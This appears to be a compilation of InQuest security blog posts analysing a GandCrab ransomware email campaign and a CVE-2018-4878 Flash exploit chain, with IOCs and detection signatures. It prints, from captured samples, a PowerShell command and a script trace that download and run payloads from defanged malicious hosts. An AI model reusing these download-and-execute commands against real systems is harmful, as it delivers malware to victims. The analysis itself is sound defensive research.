Starting from the overview, you'll note that VMRay detonated the file in four different unique environments. Only one of which alerted. It is prudent to accurately build your sandbox environment to reflect your real-world systems. The next screen shows the process overview:

Clear depiction of the multiple stage pivots detailed above.

You can clearly see some of the pivots we detailed above. From Microsoft Word through the RTF payload (banner.jpg) to the Equation Editor pivot, through regsvr32.exe (ad1.jpg) and finally to PowerShell. Some of the scriptlets in-between are not depicted here, though they are captured and scored independently in InQuest. There's value in [defense-in-depth](http://blog.inquest.net/blog/2018/03/12/defense-in-depth-detonation-technologies/). A more detailed but similar view:

Detailed information on various commands executed by the malware.

Shows the complete command line arguments from those captured pivots. The results from this, and any other integrations, are aggregated under a single pane of glass and summarized by a simple threat score from 1 to 10. Our threat score algorithm is not prone to artificial inflation from over-detection. We lean on our experiences as SOC analysts to automate the heating / cooling of scores based on a combination of inputs. In essence, we're automating much of the SOC analyst work flow to spare precious human cycles for what matters most. The key decision points that drive the algorithm are shown in an straightforward threat receipt:

There are over 20 factors considered when applying a threat score to a captured session.

The indicators beside each row in the threat receipt state:

* Green, the subsystem alerted and contributed to the threat score.
* Yellow, the subsystem alerted but that alert did not contribute to the threat score.
* Red, the subsystem did not produce an alert.
* Grey, the subsystem was not available at the time of analysis (or is not configured / enabled).

At a glance, the InQuest threat receipt provides analysts with an idea as to whether or not the threat is a true positive and why. In this particular case the InQuest Threat Detection Engine scored the session containing the initial carrier as a 9 and then bumped the score to a 10 based on InQuest cloud assisted IP reputation. Both the OPSWAT (multi-av) and VMRay (sandbox / detonation) subsystems alerted as well, but did not alter the final score.

On a final note, InQuest customers can hunt for signs of this and similar campaigns via the following DFI powered signatures:

* 5000755, MC_CVE_2017_11882_OLE, severity 8, confidence 7.
* 5000757, MC_Equation_OLE, severity 8, confidence 7.
* 5000806, MC_Malicious_Scriptlet_Payload_01, severity 10, confidence 5.
* 5000487, MC_SCT_Backdoor, severity 9, confidence 9.
* 3000175, SC_RTF_Objupdate, severity 5, confidence 2.

Originally published 2018-04-19 on the InQuest blog.

GandCrab Swarm2018-04-17

The campaign is far from stealthy, and we’re certainly not the first to write about it. See the section�“Further Reading”�below for additional articles and utilities. We first noticed the campaign through a significant uptick in threats delivered via malicious e-mail attachment following the naming convention “`DOC[0-9]{10}.zip“`. Example file names include:

  • DOC1385624908.zip
  • DOC1614310849.zip
  • DOC2138630325.zip
  • DOC2229418534.zip
  • DOC3054722748.zip
  • �

In the cases we observed, the archive contained either a malicious macro dropper document or a malicious JavaScript file. We observed ~3,000 unique IP addresses that spanned across 427 ASNs (see Appendix). Analyzing the source IPs of the campaign reveals a heavy slant toward the Asias. We�re using the handy�distribution�utility here if you�re curious:

[pedram@kb 2018-04-doc0]$ cat doc0.countries | distribution
    Key|Ct   (Pct)    Histogram
     VN|2991 (52.44%) -------------------------------------------------------
     IN| 963 (16.88%) --------------------
     CN| 416  (7.29%) ---------
     BD| 184  (3.23%) ----
     RU| 169  (2.96%) ----
     ID| 121  (2.12%) ---
     KZ|  99  (1.74%) ---
     LA|  68  (1.19%) --
     TH|  67  (1.17%) --
     PK|  62  (1.09%) --
     MN|  61  (1.07%) --
     UA|  48  (0.84%) -
     KH|  48  (0.84%) -
     KG|  41  (0.72%) -

Macro Dropper

An example malicious document can be in our GitHub repo for malware samples:

Of the dozens of macro droppers we harvested, we isolated 6 uniquely generated macros, all of which employ the same heavy string obfuscation tactics:

[pedram@kb 2018-04-doc0]$ grep "(" * | cut -d':' -f2 | tr -d ' '  | cut -d'=' -f2 | cut -d'(' -f1 | distribution
            Key|Ct   (Pct)    Histogram
        Replace|1840 (44.12%) ------------------------------------------
     StrReverse|1540 (36.93%) -----------------------------------
          Space| 111  (2.66%) ---
          UCase|  99  (2.37%) ---
            Mid|  92  (2.21%) ---
           Left|  87  (2.09%) --
          LTrim|  87  (2.09%) --
          Right|  79  (1.89%) --
          RTrim|  79  (1.89%) --
        StrConv|  68  (1.63%) --
          Split|  18  (0.43%) -
         UBound|   6  (0.14%) -
          Shell|   6  (0.14

Prior to pivoting through Shell(). Note the usage of vbHide (0) here:

[pedram@kb 2018-04-doc0]$ grep Shell *
5ab51aaa4e781063c21ceca884ffe4177a24f3a49f164f7a7095ac16161a4e6a.macro
549:            Shell (StrReverse(StrReverse(GAMI))), 0

9bb808c1ec544f71c1f6730cbaf0d24337e22a4f92f6078b8ba794d596a87a5e.macro
750:            Shell (mbRq), 0

521b7acbb766010ad49b2344a32ec20663d2328fb9c8a846f1ac8cc7a4895f42.macro
422:            Shell (StrReverse(StrReverse(nVBj))), 0

20bf59ea08052f282666570f12402be8f4eaf3b1ccaf00c7d6f4f645a2ddbc78.macro
422:            Shell (StrReverse(StrReverse(nVBj))), 0

5849f63af8e041cd2690efd7a7638c1b7185a9aa497a2322be01d36d314507f8.macro
643:            Shell (StrReverse(StrReverse(fCOY))), 0

ca72e019c23658547a73c613e4bf3a39e2d603b260c2e227adab74efc6fdc7bb.macro
643:            Shell (StrReverse(StrReverse(fCOY))), 0

To a PowerShell pivot which will download and execute a second-stage payload (PE executable) from (in this case) a server in the UK:

powershell.exe -w 1 (New-Object System.Net.WebClient).DownloadFile('hxxp://185[.]189.58.222/da.exe',([System.IO.Path]::GetTempPath()+'bKKc.exe'));

powershell.exe -w 1 Start-Process -Filepath ([System.IO.Path]::GetTempPath()+'bKKc.exe'

We�ve extracted a half dozen macros from live samples and made them available on Github.com/InQuest/malware-samples for anyone who is interested.

JavaScript Dropper

Example malicious JavaScript payloads can be found Github.com/InQuest/malware-samples, we�ll dissect this one here:

At the highest level, the heavily obfuscated JavaScript will:

  • Loop until a non 200 OK response is received from C&C server at GET hxxp://hgpjrvccsollfwbq[.]com.
  • Download payload from hxxp://112[.]126.94.107/shop/k.exe.
  • Save the downloaded file as %TEMP%/undefined/featherstrail.exe, and execute it.

You can see the trace of this activity in the following log:

ActiveXObject initialized: ["Scripting.FileSystemObject"]
  [Scripting.FileSystemObject].GetSpecialFolder() called
ActiveXObject : ["WinHttp.WinHttpRequest.5.1"]
ActiveXObject : ["MSXML2.XMLHTTP"]
  [MSXML2.XMLHTTP].open() called:
      ["GET", "hxxp://hgpjrvccsollfwbq[.]com/", false]
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
ActiveXObject initialized: ["WScript.Shell"]
ActiveXObject initialized: ["ADODB.Stream"]
  [ADODB.Stream].Open() called: []
  [ADODB.Stream].Write() called: [undefined]
  [ADODB.Stream].SaveToFile() called: ["undefinedfeatherstrail.exe"]
  [ADODB.Stream].Close() called: []
WScript.run() called: ["cmd /c undefinedfeatherstrail.exe", 0, 0]

Second Stage Payloads


The second-stage payloads were seen hosted on French, British, and Chinese servers (see Appendix). In one case, a seemingly compromised China based shopping site (112[.]126.94.107). In another case, a seemingly fresh install of CentOS (185[.]189.58.222).

With the identification of a second stage payload host and the realization that the payloads follow a basic 1 to 3 character naming convention and are of one of the types: .exe, .doc, etc. We brute force crawled the limited space to unveil the following list of additional payloads. All are active as of the time of writing. On a side note, for more complex brute force patterns, we recommend checking out rexgen.

<tr>
    <td>hxxp://185[.]189.58.222/as.exe</td>
    <td align="right">application/octet-stream</td>
</tr>
<tr>
    <td colspan="2"><a href="https://www.virustotal.com/#/file/73f0880358701566ed1792014b639c02f357da42981344a6ad644aae494d3e36">73f0880358701566ed1792014b639c02f357da42981344a6ad644aae494d3e36</a></td>
</tr>
<tr>
    <td>hxxp://185[.]189.58.222/da.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">GandCrab: <a href="https://www.virustotal.com/#/file/6d1e7233c698c47c231e7d89500ddca5dc7a2efb12611395848ea024c01f6e57">6d1e7233c698c47c231e7d89500ddca5dc7a2efb12611395848ea024c01f6e57</a></td>
</tr>
<tr>
    <td>hxxp://185[.]189.58.222/s.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">Trik.pdb: <a href="https://www.virustotal.com/#/file/a753017ff3428b51543961f07a087b6f625b43b029580d2046a89c3c7136b3d5">a753017ff3428b51543961f07a087b6f625b43b029580d2046a89c3c7136b3d5</a></td>
</tr>
<tr>
    <td>hxxp://185[.]189.58.222/k.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">GandCrab: <a href="https://www.virustotal.com/#/file/71391d3dfa01284ebdd2aff07414ec1cf203caca625e6f26d6507ec3974b421c">71391d3dfa01284ebdd2aff07414ec1cf203caca625e6f26d6507ec3974b421c</a></td>
</tr>
<tr>
    <td>hxxp://185[.]189.58.222/f.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">Ransort.pdb: <a href="https://www.virustotal.com/#/file/f5f30a0187d94e3a4e61d614c2a36d21e79e9aadb9dd3082adc4e69962d35bca">f5f30a0187d94e3a4e61d614c2a36d21e79e9aadb9dd3082adc4e69962d35bca</a></td>
</tr>
<tr>
    <td>hxxp://112[.]126.94.107/shop/wat.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">Trik.pdb: <a href="https://www.virustotal.com/#/file/09ef6c20ebcaa676f3f682f220c60d4336a11321ce876bab44834cd7ae159326">09ef6c20ebcaa676f3f682f220c60d4336a11321ce876bab44834cd7ae159326</a></td>
</tr>
<tr>
    <td>hxxp://112[.]126.94.107/shop/k.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">GandCrab: <a href="https://www.virustotal.com/#/file/053b9fdab60ab124178e23b4598f2b10e71b2caf1abcfa51c857f0801f555131">053b9fdab60ab124178e23b4598f2b10e71b2caf1abcfa51c857f0801f555131</a></td>
</tr>

URLMIME / SHA256
hxxp://185[.]189.58.222/d.docapplication/msword
Dropper: 99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809
hxxp://112[.]126.94.107/shop/d.docapplication/msword
Dropper: 6a8778a466c66a4a6df07163459bbe5cb4971109a3a4057330bc7c07014f7462
hxxp://185[.]189.58.222/sry.exeapplication/octet-stream
GandCrab?: f921949f9bf653b37fb73065834141862dc433ca12db8905f07face35f2d652a
hxxp://185[.]189.58.222/huh.exeapplication/octet-stream
GandCrab: 298db98676cebbeab5b7d1aee14521363eee533755e99132c7efe3322d99d691
hxxp://185[.]189.58.222/ps.exeapplication/octet-stream
RanserKD: f851dbbdafa4aa24548789d21b30f0e6248393d6813d9f21ac0627fdc1eb4b18

Source ASNs


We observed ~3,000 unique IP addesses that spanned across the following 427 ASNs:

768, 812, 2119, 2856, 3320, 3462, 4134, 4621,
4755, 4760, 4761, 4788, 4795, 4800, 4818, 4837,
5563, 6332, 6503, 6697, 6703, 6712, 6789, 6830,
6846, 6849, 6876, 7470, 7545, 7552, 7565, 7922,
8100, 8151, 8193, 8334, 8359, 8402, 8427, 8449,
8452, 8551, 8585, 8708, 8711, 8712, 8732, 8890,
8997, 9105, 9121, 9198, 9260, 9304, 9422, 9498,
9808, 9829, 9830, 9873, 9902, 9930, 9934, 10010,
10076, 10109, 10199, 10219, 10225, 10620, 11172, 11427,
11562, 12389, 12430, 12714, 12716, 12735, 12764, 12997,
13099, 13188, 13194, 13489, 13591, 13999, 14061, 14080,
15491, 15493, 15723, 15774, 16010, 16066, 16960, 17426,
17465, 17483, 17488, 17557, 17621, 17658, 17665, 17747,
17754, 17762, 17771, 17813, 17970, 18001, 18002, 18059,
18207, 18209, 18403, 18734, 19429, 20115, 20539, 20549,
20771, 21017, 21087, 21104, 21127, 21183, 21299, 21312,
21479, 21497, 22773, 23673, 23678, 23682, 23700, 23860,
23888, 23893, 23947, 23969, 24086, 24186, 24203, 24309,
24320, 24323, 24389, 24432, 24435, 24444, 24445, 24547,
24554, 24560, 24955, 25019, 25106, 25139, 25159, 25229,
25249, 25454, 25513, 27738, 27747, 27884, 27947, 27951,
28006, 28378, 28509, 28531, 28532, 28537, 28545, 28554,
28573, 28738, 28769, 28787, 28812, 29061, 29091, 29124,
29497, 29584, 30619, 30922, 31036, 31145, 31148, 31163,
31213, 31252, 31286, 31287, 31585, 32244, 33788, 34145,
34602, 34814, 34975, 34984, 35004, 35104, 35362, 35566,
35728, 35807, 35816, 35819, 36907, 37061, 37209, 37284,
37308, 37398, 37424, 37425, 37489, 38019, 38067, 38193,
38203, 38264, 38266, 38457, 38511, 38623, 39047, 39280,
39407, 39529, 39709, 39714, 39927, 41557, 41661, 41682,
41733, 41750, 41794, 41997, 42362, 42610, 42713, 43145,
43182, 43258, 43370, 43554, 43594, 43727, 43733, 43925,
44267, 44395, 44895, 45025, 45043, 45117, 45194, 45235,
45245, 45289, 45326, 45335, 45458, 45498, 45514, 45543,
45582, 45588, 45629, 45694, 45727, 45766, 45769, 45773,
45774, 45775, 45804, 45820, 45899, 45903, 45905, 45925,
45942, 45951, 46042, 47140, 47237, 47759, 47975, 48094,
48176, 48212, 48503, 48524, 48642, 48882, 49461, 49749,
49800, 50009, 50025, 50223, 50306, 50544, 51004, 51009,
51034, 51035, 51904, 52609, 53085, 55406, 55410, 55441,
55511, 56040, 56041, 56044, 56046, 56124, 56255, 56354,
57128, 57261, 57334, 57944, 58405, 58587, 58640, 58691,
58717, 58765, 58906, 58969, 59332, 59341, 59347, 59362,
59523, 59552, 59671, 60258, 60411, 63862, 63961, 63969,
64063, 64072, 64075, 131127, 131178, 131210, 131246, 131267,
131464, 132137, 132220, 132453, 132525, 132730, 132768, 132770,
132933, 132941, 133001, 133011, 133168, 133177, 133232, 133255,
133293, 133331, 133443, 133450, 133481, 133597, 133613, 133661,
133700, 133814, 134000, 134006, 134009, 134033, 134056, 134128,
134186, 134204, 134293, 134341, 134371, 134708, 134810, 134813,
134853, 134932, 134970, 135371, 135527, 135597, 135607, 135654,
135718, 135872, 136276, 136393, 136498, 136514, 196629, 197254,
197275, 197311, 197585, 201986, 207133, 262186, 262928, 263170, 264821, 327826

Carrier Samples


Of the myriad of samples we observed in the wild, the following are available from�VirusTotal Intelligence. It is of some minor interest to note that all of the following samples were uploaded1. �01072c19714bdf73017d22275ffed4f40cb99891fc019798b495f6415a9f08b9
2. �04ef17f7052a01b3091eb1190c8072e283da99c6a61cfee9cde8d1ff4fd4f1a3
3. �0641176e5865e840509ef0ea4aa779aa662ce64917c715b2865d1372b9cf0080
4. �0732dff16daadf858388ba85bb311fb0d03aab979d3354fa75a0e91d3ba71668
5. �094e1e556dca8146eefa43e88a16c2c3eebdc867a35ac29c239505a0b6f828ce
6. �0b1550624d76cf74a3928466d09cd8359f8deb2980c4d54c4b0dad183e6e8029
7. �0b2da90d5102933162a7bdb6794a506d946a5d960325d09c5bdfe0858e476ad8
8. �0cb41a2c20720fa3051047b80d4aa0dbbb8dd74a0d3d0e4051c2bd969b9b7c77
9. �0f2b93d78c4d145408ee7aa192698da9fbc717022fe68f533dd204293ef384b3
10.�18b8e3b30e757bc362bcfcbd5dc90916133fe3377b88028e56434052bc72288b
11.�18ec003eccabb265f9c1a26a4384565620e357f7c079c2e879f7a16080762fb8
12.�1b6bf58f019cbb8c08bd66a6a361991d1e9d619a8340c823b1a1acc90a298e43
13.�1edf1c4049f663236424d4ee9b8de923b416f4af75dbf5bf971e0b85de01d94b
14.�1fae994859b8ac5e3ffc64c721ce40f8787d9836f4de3edb52112ab84bd58c1b
15.�2c2f282428cb09fb97d9da1fdbe8a83278ef8228bb4438ef38a1cdbf83cb3d13
16.�2f0de44c668c67b649c355e8d35106bf60ef002af84b7246ee6ad8ff5a341f56
17.�30a5e1860249f40fdcd176c223ea78824fa2181d3ebc76d2f64f3397a181aed7
18.�311b10a28b8f9a4de7c508b557f3131103ad11f35a39b82898903ba59f12f32f
19.�3734ae24bb1c0b392b9e2e9606729cf11074b07a234dd93c30e6964dcefb85eb
20.�37d1a9b24aa796d428baa5cdbc848e7d04b6a28aa04faebce8b3efc15109e2f4
21.�37e3ae5b476298cfa05b8cf9128c8a0216aa9870b10b23835629653e1300aa7a
22.�3912109d9f9ceea82d08c67a1b033f7a509db81f5ee4dfa9bcdf12b2101051c9
23.�391e1243413cbbdd17ddbd499c473b9ed180003a868d75c6fecb92446ff7f5b9
24.�39d95449fca6c188bfc9f2eb599804a86ddde41774fefa0edc894118e978a525
25.�3aaa8d3cc6291dff27de7a9d0bd4dc28c59207a6641f86f510ed36fd0df88e7e
26.�3cefbe4498aabf3b0160c979a4f382446c1156187bfd6b9cabeeff64b7685fc4
27.�4350cc33108a98f9491515e8855ecf1f550e70e39be2f351b88356f11fa5760d
28.�45fc9542235efd93f9a898df898ec7fa1bac8d1f56365d7d4bede7d6a33470ef
29.�4b22ced5138d6f1b4e69c31c3a6558638a652efda90b067e4f267144841f84fc
30.�4cfab88fa7dd90785bdf0d52753c2a40e2c6fdba93a1635d8b1b7eb4fdb91fb2
31.�5365e92f544c83b1bff8eeb440ad620cdb308ffd1d96f732d6a399511493ed7f
32.�56e3d0f0093de7d52feb62e97fa7532056047546375452a0f59e8f682ae235e5
33.�576313b11f51a8e2191689fc146409897e719bb83d967c14ea53306ed3369572
34.�596ecf4f1c762d20d353f6382f982bbf57e1b4e062c6f796600fe53028b68efb
35.�59d12676e116055028c272e404046b70ca3a885137faf28e2b1a074833d4104d
36.�5e222eb6ff5b474d5eb4b450448ec6f47783190312a782a0365e761be97e35cf
37.�6ae1213bc50d25f5d6335a2c1652440bbc295e3cd1214a16a11fa216b5ebfc6d
38.�6d8e7e0e38d697f85d82f8f528a10d4c0dda7bc0fa0bb7624809893d61203e7a
39.�6d9b225458f556556e8a91de96c9d292f1b179e4660569ef21e97e5fdc0e6257
40.�6e5ed1fa3afbb74e1a35a80cfddf5d7cb1ddacd02e7f049e61808d0409a04ef4
41.�74ce529e2d09971ab43cd86ab455d66bc53b5cf64607b754fe4b51f823397427
42.�7776ac0c61015d2e5cec12054f01301dd6e34eb08c35c29b9e0769d45498d78f
43.�79e7043fa72f70d961b7de31bec3d6768e4a331403b56de451fb9d8c8582ca86
44.�79fa9eb242b88ccae36c441b8d25f444b2c7186c446019636595e9c410d88e17
45.�8351070808b7b7541f99b7f75dec59ea7713ccdc9fbd521152c813445e01156c
46.�85f82adef8badabf7a5ed7a5f987ca8f611db9cddaffe6e60cff5a4167d19062
47.�88867b7ae4fb6d396d5a1e07edee16c495a77f943b4cd08df8fb3dad1b703012
48.�8c33bf2c9f4f93883f5568c374b53fac4d337a7aaf64eb4d1b776fc73433c051
49.�8e0373ad55b692b6e857b4d533e6b67445eb4af3d3542c25440f16737d622187
50.�8e6643d6224e3c3a3a39abed0291b34f526e9e15662f6fbd319b141ea67a8400
51.�8f2d995c2bfddac4992737bb94d97c85035ae8ba20ffb0a7894f123b1ac253c2
52.�8f77b27596cb18a4e7c56bc28f18fa4648d328210a36d62c456bb31084426ff4
53.�91ac0eae541c351122daaeb9ef2042508b8bc10816cc056c7b6d4a717f05a76e
54.�9c9ec33955cc9144dffb97095dd8be8ffc7a676eaf99da63d113775ca7a9d7c9
55.�a3bd170a56e43d123f928e5978d51e24fdcc708382c5a8d86c1dbe2e67538148
56.�a53c7526939cfd8d609c77b5b6a6da82329efc017e91f203d57934da0ed8637f
57.�a601d9742b306384796a7a6f835c8a979179c9f516bd17ba7185f7d331b4db2d
58.�a953e225ec770230c100281dc8d3820b63461740214fa6471580fbba6048378c
59.�a9995695776b7a17d1ac86b8b47fbcd94d190c42c6d3838417749d57b03f9e07
60.�ba1bc1c75ff7aec30d48d47284d120d7a1a862a44e86e63094afbca5cc6f1578
61.�bb81c9f62bcb5efb54792925e8a7d3d9a53e1d9ec10a6616c1d670967762a9cb
62.�bd2193869e8fad55ebdb29f3acc7a3e9d5df81a3390c19b936d4035f990f2842
63.�c4798dc2655e8263259f24c237a665f5f1cf556a082a321a64c8e91f2246e427
64.�c9d69de2fc0f3ea9d57793e723b3e6234e034a6c533f5550c01376508861de87
65.�ca409d1c8034b850cbee61ddb884267b3cb31f44e4adbd59da20498634726cc9
66.�ca60b1755608f07a053cb1fdc87ccf506759a54867a6cb2f62f0568e043f9a44
67.�cac05cef3b1607be9145894a619a27611e90a5edab4a6af4896f549cb1be0147
68.�cdd6a50db75672ea4c5c3baec9c5ee4de14ad4fab4ef9a5ad7fa7d6fa97f8bff
69.�da018eea106dc3a2a219049f9d0f5e55b87e5e3a91ca19877255fa65a06696d9
70.�dc4ef4adefb5d26683d18fe788b432b13844fe1f54455576cee46d417bd5c666
71.�e2293df854d6a0d86c965ad118e126f407f864cb54d830d4aa345c4d9557bc23
72.�e9c64f7c4432ab680ad026e76ba299181c36e72596f227f924932ba744af82ad
73.�eadc01694adc0f1137b4ec16299bb9c6c65180d7e446b71a885e082fff9b884f
74.�ebf8f2d4463cd107039661c5ca349a00a2dc90ea537dac75b87b42b323cd48f5
75.�f6985e91760b621462ed291eb35638b580ed9ede5e83834b9c026302d6fd5d9b

Detection

InQuest customers can hunt for signs of this campaign generically via the following signatures:

  • 5000532, MC_Embedded_VB_Macro, with confidence 9 and severity 9.
  • 3000080, SC_Suspicious_Macro_Function, with confidence 8 and severity 5.
  • 3000143, SC_StrRev_Macro, with confidence 8 and severity 4.
  • 5000869, MC_Phorpiex, with confidence 8 and severity 8.

Further Reading


Listed here in reverse chronological order:

Originally published 2018-08-01 on the InQuest blog.

Adobe Flash MediaPlayer DRM Use-After-Free Vulnerability2018-02-07

On February 1st, Adobe published bulletin�APSA18-01�for CVE-2018-4878 describing a use-after-free (UAF) vulnerability affecting Flash version 28.0.0.137 and earlier. As of February 6th, Adobe has patched the issue in version 28.0.0.161, see:�APSB18-03. This post provides an overview of the vulnerability, a walk-through of the exploit seen in the wild, and covers several detection mechanisms. You can also follow the conversation via our�Twitter moment.Screenshot of SWF 0day within Microsoft Office malware carrier document.Adobe Flash is on its final years as Adobe is scheduled to kill Flash in 2020. Major browsers such as Chrome, Microsoft Edge, and Safari have buried the functionality over the past year or so. There's no denying that Flash has played a major role in the evolution of the web, arguably paving the way to HTML5. It was certainly nudged closer to the grave when Apple overtly decided against supporting the popular platform with the launch of the iPhone a decade ago.

From a consumer security perspective, this trend is generally a positive one; in 2015, there were 316 published Flash Player bugs (you heard that right, 6 bugs a week). The combination of a massive attack surface, ability to programatically manipulate memory, and mixed media access represents a dream come true for a potential attacker. While attackers quickly lose the ability to lean on Flash in the browser, the platform can still get them results through a medium such as Microsoft Office. On 1/31 the KrCERT/CC (South Korea Computer Emergency Response Team) released a notice regarding an Adobe Flash 0day exploit they observed in-the-wild, it was assigned CVE-2018-4878 and targets a UAF vulnerability in the�TVSDK Platform. The exploit is delivered to targets in the following chain:

  1. Document based carrier. Both XLSX and DOC carriers have been observed in the wild.
  2. The carrier embeds Adobe Flash (SWF) content.
  3. Upon execution, the first-stage SWF exploit gathers system information and communicates with a compromised pivot server.
  4. A second-stage Adobe Flash payload is retrieved, decrypted, and executed. This second-stage payload contains the exploit for a use-after-free vulnerability in Adobe Flash MediaPlayer DRM management.
  5. The final payload, a ROKRAT Windows PE file is downloaded and executed.

Sparing transmission of the exploit to a second-stage is common sense from an OPSEC (operational security) perspective. By delaying the delivery of the 0day exploit, the attackers are limiting the exposure of this valuable capability. As such, the second-stage sample has not been widely reported on or analyzed. We�ve made all stages of the exploit chain available, along with ActionScript decompilation available on�GitHub.com/InQuest.

Let�s walk through the exploit chain starting from the XLSX carrier�14c58e3894258c54e12d52d0fba0aafa258222ce9223a1fdc8a946fd169d8a12. Decompress the XLSX file and note�/xl/activeX/activeX1.bin, at offset 0x18 (24) you�ll recognize Adobe Flash magic. Let�s carve it out:

$ xxd activeX1.bin | head
 00000000: 6edb 7cd2 6dae cf11 96b8 4445 5354 0000  n.|.m.....DEST..
 00000010: 6655 6655 97c8 0100 4657 5320 97c8 0100  fUfU....FWS ....
 00000020: 7800 04e2 0000 0ea6 0000 1801 0044 1119  x............D..
 00000030: 0000 007f 13cb 0100 003c 7264 663a 5244  .........<rdf:RD
 00000040: 4620 786d 6c6e 733a 7264 663d 2768 7474  F xmlns:rdf='htt
 00000050: 703a 2f2f 7777 772e 7733 2e6f 7267 2f31  p://www.w3.org/1
 00000060: 3939 392f 3032 2f32 322d 7264 662d 7379  999/02/22-rdf-sy
 00000070: 6e74 6178 2d6e 7323 273e 3c72 6466 3a44  ntax-ns#'><rdf:D
 00000080: 6573 6372 6970 7469 6f6e 2072 6466 3a61  escription rdf:a
 00000090: 626f 7574 3d27 2720 786d 6c6e 733a 6463  bout='' xmlns:dc
 000000a0: 3d27 6874 7470 3a2f 2f70 7572 6c2e 6f72  ='http://purl.or
 000000b0: 672f 6463 2f65 6c65 6d65 6e74 732f 312e  g/dc/elements/1.
 000000c0: 3127 3e3c 6463 3a66 6f72 6d61 743e 6170  1'><dc:format>ap
 000000d0: 706c 6963 6174 696f 6e2f 782d 7368 6f63  plication/x-shoc

$ dd if=activeX1.bin of=swf skip=24 bs=1 count=999999
$ file swf
 swf: Macromedia Flash data, version 32

Through a combination of�swfdump�and�FFDec�we can both ascertain the entry point and decompile the embedded ActionScript.

$ swfdump swf | egrep "FRAMELABEL|DOABC"
[02b]         8 FRAMELABEL "loadswf"
[052]      2788 DOABC "loadswf", lazy load
[052]      2686 DOABC "mx/utils/StringUtil", lazy load
[052]       264 DOABC "mx/core/IFlexAsset", lazy load
[052]       553 DOABC "mx/core/ByteArrayAsset", lazy load
[052]       355 DOABC "loadswf_SWFBClass", lazy load
[052]       339 DOABC "loadswf_MyURL", lazy load
[052]       206 DOABC "mx/core/mx_internal", lazy load

Stepping through the major portions of this first-stage payload:

  1. Entrypoint @loadswf
  2. Request to a compromised South Korean server to retrieve and�decrypt�the second-stage payload.
  3. XOR decoder
  4. Transfer control to second-stage

Stepping through the major portions of the second-stage payload (0day):

  1. Entrypoint @flash01
  2. Suspected use-after-free trigger 1
  3. Suspected use-after-free trigger 2

One variable that isn�t immediately apparent in the decompiled ActionScript is the URL which the second-stage SWF payload (0day) is retrieved from. We got lucky with a little Linux command line brute force extraction combined with domain knowledge of common URLs to filter:

$ grep -aEor 'https?://[A-Za-z0-9\./]+' 14c58e3894258c54e12d52d0fba0aafa258222ce9223a1fdc8a946fd169d8a12/ | cut -d':' -f2- | sort | uniq | grep -Ev "adobe.com|w3.org|openxmlformats.org|microsoft.com" | sed "s/http:/hxxp:/"
hxxp://purl.org/dc/dcmitype/
hxxp://purl.org/dc/elements/1.1
hxxp://purl.org/dc/elements/1.1/
hxxp://purl.org/dc/terms/
hxxp://www.dylboiler.co.kr/admincenter/files/boad/4/manager.php

The last URL in that least clearly stands out. If heavily obfuscated, dynamic analysis would be the preferred extraction path.

Detection

We�ve made a number of relevant YARA signatures available on�GitHub.com/InQuest�for detecting the various components of this threat. Ordered from most general to most specific:

While not explicitly indicative of malicious content, it�s prudent for a threat hunter to explore documents discovered in transit that embed Adobe Flash via the first rule. The second looks for specific triggers suspected in the decompiled ActionScript, efficacy of this signature is dependent on processing the captured SWF file through an engine such as FFDec. Generically, the�$varc_1�string from this rule looks for the requisite components to trigger the UAF vulnerability within the bounds of a single function. The final signature above is mostly sourced from posts in the public domain (see references), we threw a tweak on it to avoid false positives. This signature, while exploit specific and more easily evadable, applies to the existing threats observed in the wild thus far.

IOCs

  • 14c58e3894258c54e12d52d0fba0aafa258222ce9223a1fdc8a946fd169d8a12 Carrier: Microsoft Excel 2007+
  • 3b1395f620e428c5f68c6497a2338da0c4f749feb64e8f12e4c5b1288cc57a1c Carrier: Composite Document File V2 Document
  • 88d7aa1612756e2e70e4972d3f6a80517515f5274b38d4601357f954e207f294 Stage-1: Macromedia Flash data, version 32
  • fec71b8479f3a416fa58580ae76a8c731c2294c24663c601a1267e0e5c2678a0 Stage-1: Macromedia Flash data, version 32
  • 1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d Stage-2: (0day) Macromedia Flash data (compressed), version 32
  • e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd Payload: (ROKRAT) PE32 executable (GUI) Intel 80386, for MS Windows
  • hxxp://www.dylboiler.co.kr/admincenter/files/boad/4/manager.php
  • hxxp://1588-2040.co.kr/design/m/images/image/image.php
  • hxxp://www.1588-2040.co.kr/conf/product_old.jpg
  • hxxp://www.korea-tax.info/main/local.php

References (chronological)

Free On-Demand Webinar: Think Before You Click

Whether sent as an email attachment, sitting in your cloud or traversing the Web, file-borne threats have become a proven favorite for delivering malware and phishing campaigns. View our webinar on-demand and get firsthand tips about how to safeguard your cybersecurity stack with File Detection and Response (FDR) and stop file-borne threats in their tracks.

View the Webinar On-Demand

Originally published 2018-02-07 on the InQuest blog.